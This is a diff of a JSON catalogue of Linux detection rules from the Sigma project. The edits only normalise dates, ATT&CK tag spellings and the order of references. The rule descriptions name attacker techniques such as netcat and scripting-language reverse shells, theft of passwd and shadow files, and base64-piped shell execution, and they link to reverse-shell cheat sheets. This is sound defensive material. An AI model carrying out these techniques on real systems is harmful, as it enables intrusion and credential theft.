-100782,7 +101078,7 @@ "description": "Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.", "meta": { "author": "Muhammad Faisal", - "creation_date": "2023/08/03", + "creation_date": "2023-08-03", "falsepositive": [ "Legitimate activity of system administrators" ], @@ -100791,13 +101087,13 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan", "https://www.helpnetsecurity.com/2023/08/02/aws-instances-attackers-access/", + "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan", "https://www.bleepingcomputer.com/news/security/amazons-aws-ssm-agent-can-be-used-as-post-exploitation-rat-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_ssm_agent_abuse.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.persistence", "attack.t1219" ] @@ -100818,7 +101114,7 @@ "description": "Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/14", + "creation_date": "2022-03-14", "falsepositive": [ "Legitimate software that uses these patterns" ], @@ -100831,7 +101127,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_pipe_shell.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1140" ] }, @@ -100851,7 +101147,7 @@ "description": "Detects when the file \"passwd\" or \"shadow\" is copied from tmp path", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/01/31", + "creation_date": "2023-01-31", "falsepositive": [ "Unknown" ], @@ -100865,7 +101161,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cp_passwd_or_shadow_tmp.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.001" ] }, @@ -100885,7 +101181,7 @@ "description": "Detects execution of the \"groupdel\" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks", "meta": { "author": "Tuan Le (NCSGroup)", - "creation_date": "2022/12/26", + "creation_date": "2022-12-26", "falsepositive": [ "Legitimate administrator activities" ], @@ -100895,9 +101191,9 @@ "logsource.product": "linux", "refs": [ "https://linuxize.com/post/how-to-delete-group-in-linux/", - "https://www.cyberciti.biz/faq/linux-remove-user-command/", - "https://linux.die.net/man/8/groupdel", "https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/", + "https://linux.die.net/man/8/groupdel", + "https://www.cyberciti.biz/faq/linux-remove-user-command/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_groupdel.yml" ], "tags": [ @@ -100921,7 +101217,7 @@ "description": "Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/15", + "creation_date": "2022-09-15", "falsepositive": [ "Legitimate administration activities" ], @@ -100934,7 +101230,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_services_stop_and_disable.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "de25eeb8-3655-4643-ac3a-b662d3f26b6b", @@ -100944,7 +101240,7 @@ "description": "Detects execution of the \"userdel\" binary. Which is used to delete a user account and related files. This is sometimes abused by threat actors in order to cover their tracks", "meta": { "author": "Tuan Le (NCSGroup)", - "creation_date": "2022/12/26", + "creation_date": "2022-12-26", "falsepositive": [ "Legitimate administrator activities" ], @@ -100954,9 +101250,9 @@ "logsource.product": "linux", "refs": [ "https://linuxize.com/post/how-to-delete-group-in-linux/", - "https://www.cyberciti.biz/faq/linux-remove-user-command/", - "https://linux.die.net/man/8/userdel", "https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/", + "https://linux.die.net/man/8/userdel", + "https://www.cyberciti.biz/faq/linux-remove-user-command/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_userdel.yml" ], "tags": [ @@ -100980,7 +101276,7 @@ "description": "Detects execution of binaries located in potentially suspicious locations via \"nohup\"", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/06/02", + "creation_date": "2023-06-02", "falsepositive": [ "Unknown" ], @@ -100989,10 +101285,10 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", - "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/", "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection", + "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", + "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup_susp_execution.yml" ], "tags": [ @@ -101006,7 +101302,7 @@ "description": "Detects a suspicious curl process start on linux with set useragent options", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/15", + "creation_date": "2022-09-15", "falsepositive": [ "Scripts created by developers and admins", "Administrative activity" @@ -101020,7 +101316,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_useragent.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -101040,7 +101336,7 @@ "description": "Detects attempts to force stop the ufw using ufw-init", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/01/18", + "creation_date": "2023-01-18", "falsepositive": [ "Network administrators" ], @@ -101054,7 +101350,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_disable_ufw.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -101074,7 +101370,7 @@ "description": "Detects execution of the \"esxcli\" command with the \"vsan\" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Cedric Maurugeon", - "creation_date": "2023/09/04", + "creation_date": "2023-09-04", "falsepositive": [ "Legitimate administration activities" ], @@ -101083,9 +101379,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html", "https://developer.vmware.com/docs/11743/esxi-7-0-esxcli-command-reference/namespace/esxcli_vsan.html", "https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html", + "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_vsan_discovery.yml" ], "tags": [ @@ -101117,7 +101413,7 @@ "description": "Detects known hacktool execution based on image name.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Georg Lauenstein (sure[secure])", - "creation_date": "2023/01/03", + "creation_date": "2023-01-03", "falsepositive": [ "Unlikely" ], @@ -101126,20 +101422,20 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ + "https://github.com/Ne0nd0g/merlin", + "https://github.com/pathtofile/bad-bpf", + "https://github.com/Pennyw0rth/NetExec/", "https://github.com/HavocFramework/Havoc", + "https://github.com/t3l3machus/Villain", "https://github.com/1N3/Sn1per", - "https://github.com/Gui774ume/ebpfkit", "https://github.com/carlospolop/PEASS-ng", - "https://github.com/Ne0nd0g/merlin", - "https://github.com/Pennyw0rth/NetExec/", + "https://github.com/Gui774ume/ebpfkit", "https://github.com/t3l3machus/hoaxshell", - "https://github.com/t3l3machus/Villain", - "https://github.com/pathtofile/bad-bpf", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_hktl_execution.yml" ], "tags": [ "attack.execution", - "attack.resource_development", + "attack.resource-development", "attack.t1587" ] }, @@ -101159,7 +101455,7 @@ "description": "Detects usage of system utilities (only grep and egrep for now) to discover security software discovery", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Legitimate activities" ], @@ -101192,7 +101488,7 @@ "description": "Detects process discovery commands. Adversaries may attempt to get information about running processes on a system.\nInformation obtained could be used to gain an understanding of common software/applications running on systems within the network\n", "meta": { "author": "Ömer Günal, oscd.community", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Legitimate administration activities" ], @@ -101225,7 +101521,7 @@ "description": "Detects the use of grep to discover specific files created by the GobRAT malware", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/06/02", + "creation_date": "2023-06-02", "falsepositive": [ "Unknown" ], @@ -101234,9 +101530,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection", + "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_malware_gobrat_grep_payload_discovery.yml" ], "tags": [ @@ -101260,7 +101556,7 @@ "description": "Detects usage of the PHP CLI with the \"-r\" flag which allows it to run inline PHP code. The rule looks for calls to the \"fsockopen\" function which allows the creation of sockets.\nAttackers often leverage this in combination with functions such as \"exec\" or \"fopen\" to initiate a reverse shell connection.\n", "meta": { "author": "@d4ns4n_", - "creation_date": "2023/04/07", + "creation_date": "2023-04-07", "falsepositive": [ "Unknown" ], @@ -101269,8 +101565,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.revshells.com/", "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://www.revshells.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_php_reverse_shell.yml" ], "tags": [ @@ -101284,7 +101580,7 @@ "description": "Detects suspicious sub processes of web server processes", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/10/15", + "creation_date": "2021-10-15", "falsepositive": [ "Web applications that invoke Linux command line tools" ], @@ -101318,7 +101614,7 @@ "description": "Detects execution of the \"esxcli\" command with the \"network\" flag in order to retrieve information about the network configuration.", "meta": { "author": "Cedric Maurugeon", - "creation_date": "2023/09/04", + "creation_date": "2023-09-04", "falsepositive": [ "Legitimate administration activities" ], @@ -101360,7 +101656,7 @@ "description": "Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.", "meta": { "author": "Sittikorn S, Teoderick Contreras", - "creation_date": "2022/01/20", + "creation_date": "2022-01-20", "falsepositive": [ "Unlikely" ], @@ -101369,12 +101665,12 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.makeuseof.com/how-to-install-and-use-doas/", "https://research.splunk.com/endpoint/linux_doas_tool_execution/", + "https://www.makeuseof.com/how-to-install-and-use-doas/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_doas_execution.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1548" ] }, @@ -101394,7 +101690,7 @@ "description": "Detects listing or file reading of \".dockerenv\" which can be a sing of potential container discovery", "meta": { "author": "Seth Hanford", - "creation_date": "2023/08/23", + "creation_date": "2023-08-23", "falsepositive": [ "Legitimate system administrator usage of these commands", "Some container tools or deployments may use these techniques natively to determine how they proceed with execution, and will need to be filtered" @@ -101429,7 +101725,7 @@ "description": "Detects execution of ruby with the \"-e\" flag and calls to \"socket\" related functions. This could be an indication of a potential attempt to setup a reverse shell", "meta": { "author": "@d4ns4n_", - "creation_date": "2023/04/07", + "creation_date": "2023-04-07", "falsepositive": [ "Unknown" ], @@ -101438,8 +101734,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.revshells.com/", "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://www.revshells.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_ruby_reverse_shell.yml" ], "tags": [ @@ -101453,7 +101749,7 @@ "description": "Detects the enumeration of other remote systems.", "meta": { "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/22", + "creation_date": "2020-10-22", "falsepositive": [ "Legitimate administration activities" ], @@ -101486,7 +101782,7 @@ "description": "Detects potential container discovery via listing of certain kernel features in the \"/proc\" virtual filesystem", "meta": { "author": "Seth Hanford", - "creation_date": "2023/08/23", + "creation_date": "2023-08-23", "falsepositive": [ "Legitimate system administrator usage of these commands", "Some container tools or deployments may use these techniques natively to determine how they proceed with execution, and will need to be filtered" @@ -101521,7 +101817,7 @@ "description": "Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s", "meta": { "author": "Ömer Günal, oscd.community", - "creation_date": "2020/10/05", + "creation_date": "2020-10-05", "falsepositive": [ "Legitimate administration activities" ], @@ -101534,7 +101830,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_root_certificate.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1553.004" ] }, @@ -101554,7 +101850,7 @@ "description": "Detects a suspicious curl process start the adds a file to a web request", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Cedric MAURUGEON (Update)", - "creation_date": "2022/09/15", + "creation_date": "2022-09-15", "falsepositive": [ "Scripts created by developers and admins" ], @@ -101563,11 +101859,11 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://twitter.com/d1r4c/status/1279042657508081664", - "https://curl.se/docs/manpage.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", + "https://curl.se/docs/manpage.html", "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", + "https://twitter.com/d1r4c/status/1279042657508081664", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_fileupload.yml" ], "tags": [ @@ -101599,7 +101895,7 @@ "description": "Detects file deletion using \"rm\", \"shred\" or \"unlink\" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity", "meta": { "author": "Ömer Günal, oscd.community", - "creation_date": "2020/10/07", + "creation_date": "2020-10-07", "falsepositive": [ "Legitimate administration activities" ], @@ -101612,7 +101908,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_deletion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.004" ] }, @@ -101632,7 +101928,7 @@ "description": "Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings", "meta": { "author": "Ömer Günal, Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/11", + "creation_date": "2020-10-11", "falsepositive": [ "Legitimate administration activities" ], @@ -101665,7 +101961,7 @@ "description": "Detects installation of suspicious packages using system installation utilities", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/03", + "creation_date": "2023-01-03", "falsepositive": [ "Legitimate administration activities" ], @@ -101678,7 +101974,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_suspicioua_packages.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1553.004" ] }, @@ -101698,7 +101994,7 @@ "description": "Detects execution of the perl binary with the \"-e\" flag and common strings related to potential reverse shell activity", "meta": { "author": "@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/07", + "creation_date": "2023-04-07", "falsepositive": [ "Unlikely" ], @@ -101707,8 +102003,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.revshells.com/", "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://www.revshells.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_perl_reverse_shell.yml" ], "tags": [ @@ -101722,7 +102018,7 @@ "description": "Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments", "meta": { "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "creation_date": "2022/06/06", + "creation_date": "2022-06-06", "falsepositive": [ "Administrators or installed processes that leverage nohup" ], @@ -101731,8 +102027,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://gtfobins.github.io/gtfobins/nohup/", "https://en.wikipedia.org/wiki/Nohup", + "https://gtfobins.github.io/gtfobins/nohup/", "https://www.computerhope.com/unix/unohup.htm", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup.yml" ], @@ -101757,7 +102053,7 @@ "description": "Detects user account creation on ESXi system via esxcli", "meta": { "author": "Cedric Maurugeon", - "creation_date": "2023/08/22", + "creation_date": "2023-08-22", "falsepositive": [ "Legitimate administration activities" ], @@ -101790,7 +102086,7 @@ "description": "Detects usage of command line tools such as \"kill\", \"pkill\" or \"killall\" to terminate or signal a running process.", "meta": { "author": "Tuan Le (NCSGroup)", - "creation_date": "2023/03/16", + "creation_date": "2023-03-16", "falsepositive": [ "Likely" ], @@ -101799,12 +102095,12 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.cyberciti.biz/faq/how-force-kill-process-linux/", "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html", + "https://www.cyberciti.biz/faq/how-force-kill-process-linux/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_kill_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562" ] }, @@ -101824,7 +102120,7 @@ "description": "Detects default install commands of the Triple Cross eBPF rootkit based on the \"deployer.sh\" script", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/05", + "creation_date": "2022-07-05", "falsepositive": [ "Unlikely" ], @@ -101837,7 +102133,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_install.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1014" ] }, @@ -101857,7 +102153,7 @@ "description": "Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell.\nScript being executed gets created as a temp file in /tmp folder with a scx* prefix.\nThen it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/.\nThe file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/10/15", + "creation_date": "2021-10-15", "falsepositive": [ "Legitimate use of SCX RunAsProvider ExecuteScript." ], @@ -101871,8 +102167,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executescript.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.initial_access", + "attack.privilege-escalation", + "attack.initial-access", "attack.execution", "attack.t1068", "attack.t1190", @@ -101909,7 +102205,7 @@ "description": "Detects execution of the \"esxcli\" command with the \"storage\" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Cedric Maurugeon", - "creation_date": "2023/09/04", + "creation_date": "2023-09-04", "falsepositive": [ "Legitimate administration activities" ], @@ -101918,9 +102214,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html", "https://developer.vmware.com/docs/11743/esxi-7-0-esxcli-command-reference/namespace/esxcli_storage.html", "https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html", + "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_storage_discovery.yml" ], "tags": [ @@ -101952,7 +102248,7 @@ "description": "Detects execution of netcat with the \"-e\" flag followed by common shells. This could be a sign of a potential reverse shell setup.", "meta": { "author": "@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/07", + "creation_date": "2023-04-07", "falsepositive": [ "Unlikely" ], @@ -101961,11 +102257,11 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", - "https://www.revshells.com/", "https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/", + "https://www.revshells.com/", "https://www.infosecademy.com/netcat-reverse-shells/", "https://man7.org/linux/man-pages/man1/ncat.1.html", + "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_netcat_reverse_shell.yml" ], "tags": [ @@ -101989,7 +102285,7 @@ "description": "Detects setting proxy configuration", "meta": { "author": "Ömer Günal", - "creation_date": "2020/06/17", + "creation_date": "2020-06-17", "falsepositive": [ "Legitimate administration activities" ], @@ -102002,7 +102298,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_proxy_connection.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1090" ] }, @@ -102022,7 +102318,7 @@ "description": "Detects python spawning a pretty tty which could be indicative of potential reverse shell activity", "meta": { "author": "Nextron Systems", - "creation_date": "2022/06/03", + "creation_date": "2022-06-03", "falsepositive": [ "Unknown" ], @@ -102055,7 +102351,7 @@ "description": "Detects execution of \"git\" in order to clone a remote repository that contain suspicious keywords which might be suspicious", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/03", + "creation_date": "2023-01-03", "falsepositive": [ "Unknown" ], @@ -102088,7 +102384,7 @@ "description": "Detects suspicious process command line that uses base64 encoded input for execution with a shell", "meta": { "author": "pH-T (Nextron Systems)", - "creation_date": "2022/07/26", + "creation_date": "2022-07-26", "falsepositive": [ "Legitimate administration activities" ], @@ -102097,12 +102393,12 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally", "https://github.com/arget13/DDexec", + "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1140" ] }, @@ -102122,7 +102418,7 @@ "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", "meta": { "author": "Pawel Mazur, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/10/15", + "creation_date": "2021-10-15", "falsepositive": [ "Legitimate usage of xclip tools." ], @@ -102155,7 +102451,7 @@ "description": "Detects potential overwriting and deletion of a file using DD.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/10/15", + "creation_date": "2021-10-15", "falsepositive": [ "Any user deleting files that way." ], @@ -102188,7 +102484,7 @@ "description": "Detects usage of \"vim\" and it's siblings as a GTFOBin to execute and proxy command and binary execution", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/28", + "creation_date": "2022-12-28", "falsepositive": [ "Unknown" ], @@ -102198,8 +102494,8 @@ "logsource.product": "linux", "refs": [ "https://gtfobins.github.io/gtfobins/rvim/", - "https://gtfobins.github.io/gtfobins/vimdiff/", "https://gtfobins.github.io/gtfobins/vim/", + "https://gtfobins.github.io/gtfobins/vimdiff/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_gtfobin_vim.yml" ], "tags": [ @@ -102223,7 +102519,7 @@ "description": "Detects executions of scripts located in potentially suspicious locations such as \"/tmp\" via a shell such as \"bash\", \"sh\", etc.", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/06/02", + "creation_date": "2023-06-02", "falsepositive": [ "Unknown" ], @@ -102232,10 +102528,10 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", - "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/", "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection", + "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", + "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_shell_script_exec_from_susp_location.yml" ], "tags": [ @@ -102249,7 +102545,7 @@ "description": "Detects java process spawning suspicious children", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/03", + "creation_date": "2022-06-03", "falsepositive": [ "Unknown" ], @@ -102282,7 +102578,7 @@ "description": "Detects common command used to enable bpf kprobes tracing", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/25", + "creation_date": "2023-01-25", "falsepositive": [ "Unknown" ], @@ -102291,14 +102587,14 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/", - "https://bpftrace.org/", "https://www.kernel.org/doc/html/v5.0/trace/kprobetrace.html", + "https://bpftrace.org/", + "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpf_kprob_tracing_enabled.yml" ], "tags": [ "attack.execution", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "7692f583-bd30-4008-8615-75dab3f08a99", @@ -102308,7 +102604,7 @@ "description": "Detects usage of \"find\" binary in a suspicious manner to perform discovery", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/28", + "creation_date": "2022-12-28", "falsepositive": [ "Unknown" ], @@ -102341,7 +102637,7 @@ "description": "Detects a potentially suspicious execution of a process located in the '/tmp/' folder", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/06/02", + "creation_date": "2023-06-02", "falsepositive": [ "Unknown" ], @@ -102350,14 +102646,14 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", - "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/", "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection", + "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", + "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_execution_tmp_folder.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -102377,7 +102673,7 @@ "description": "Detects execution of the \"mount\" command with \"hidepid\" parameter to make invisible processes to other users from the system", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/01/12", + "creation_date": "2023-01-12", "falsepositive": [ "Unknown" ], @@ -102386,13 +102682,13 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/", "https://blogs.blackberry.com/", "https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144", + "https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mount_hidepid.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1564" ] 